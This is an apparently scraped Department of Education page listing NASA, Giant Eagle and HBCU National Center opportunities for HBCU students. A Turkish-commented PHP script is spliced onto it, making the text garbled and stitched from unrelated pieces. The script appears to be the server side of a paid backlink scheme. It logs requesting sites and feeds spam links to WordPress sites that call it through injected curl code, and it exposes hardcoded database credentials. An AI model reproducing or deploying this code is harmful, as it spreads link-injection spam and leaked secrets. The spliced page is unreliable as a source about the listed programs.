Students react during the graduation ceremony of the 2010 class at Hampton University in Virginia May 9, 2010. U.S. President Barack Obama delivered the commencement address at the graduation and was conferred an honorary doctor of laws degree. REUTERS/Jason Reed (UNITED STATES - Tags: POLITICS EDUCATION IMAGES OF THE DAY) - RTR2DNV8

By: U.S. Department of Education

National Aeronautics and Space AdministrationOpen Prize CompetitionsThe main challenges of interest that are live right now areNASA TechRise Student Challenge 2022-23NASA Earth Science in Action Comic Strip ContestUltralight StarshadeSpacecraft Docking Adapter with a Flexible but Load-Bearing FloorMars Spectrometry: Detect Evidence for Past LifeNote also that we also have a crowd search (not a challenge) currently going on with Yet2.com that is: NASA Inclusive and Equitable Hybrid Work Environment that is identifying tools, techniques, methods, ideas, concepts, and platforms for hybrid/remote work, focusing on solutions that can recreate spontaneous interactions in an inclusive way.Finally, one thing I wanted to mention during our discussion was something novel we are doing internally at NASA to engage HBU’s – all of our task orders for crowdsourcing challenges include the following outreach requirements language:“Provide marketing and outreach that promotes the participation of underserved and/or minority communities and educational institutions.”Technology LicensingWe manage the JSC intellectual property portfolio to facilitate the commercialization of NASA-sponsored research and technology and provide strong assistance to entrepreneurs, companies, and investors to bring NASA technologies to the marketplace.NASA develops all sorts of technology to solve the tough challenges of exploring space, advancing the understanding of our home planet, and improving air transportation.Often, those same inventions have other untapped applications.Through patent licensing, those technologies can be transformed into commercial products and solutions that can give a startup or new business that competitive edge.Tech Transfer UniversityNASA’s T2U program connects universities with NASA-developed technology to give students the opportunity to work with federal government research and technology.SBIR/STTRSBIR is Small Business Innovation Research, STTR is Small Business Technology Transfer.STRGs and EPSCOR for academia (students and faculty) This program provides early stage funding and experience working directly with NASA experts on missions, a way to hone business skills while de-risking your technology as it develops, and a community of like-minded people.


giant eagle logoGiant EagleHere are our current roles for you to share with your constituents. Thanks so much for your partnership! Take care, Kim Kim McNelis Senior Specialty Recruiter Giant Eagle 412-963-5279 Kimberly.mcnelis@gianteagle.com. Giant Eagle Jobs – Information Technology Showing the top 20 jobs – View All Jobs


National HBCU Center LogoHBCU National CenterThe HBCU National Center is a public private partnership with the goal of increasing the number of diverse students from HBCUs with career trajectories in public policy, journalism, health care, technology and other sectors through internships, mentorship, and networking in Washington, D.C.The Foundation provides grants for two purposes: internship support for HBCU career centers and freehousing for interns. These grants address the structural inequity of housing in Washington and clear a path  from education to transformational careers for HBCU students.The HBCU National Center:Provides cash grants to HBCUs to advance, promote or sustain the HBCU Washington, D.C. internship program.Provides housing certificates to HBCU students for fully-paid, safe and convenient accommodations at the Center during their internship programs.Promotes opportunities for alumni mentoring, networking, internship placements and workplace entry.Partners with an HBCU to foster the school’s presence in Washington.Visit our website at: HBCUNC.org.  For more information on grant opportunities, contact Hayley Dashiell at:  HDashiell@InternsDC.com.
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header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>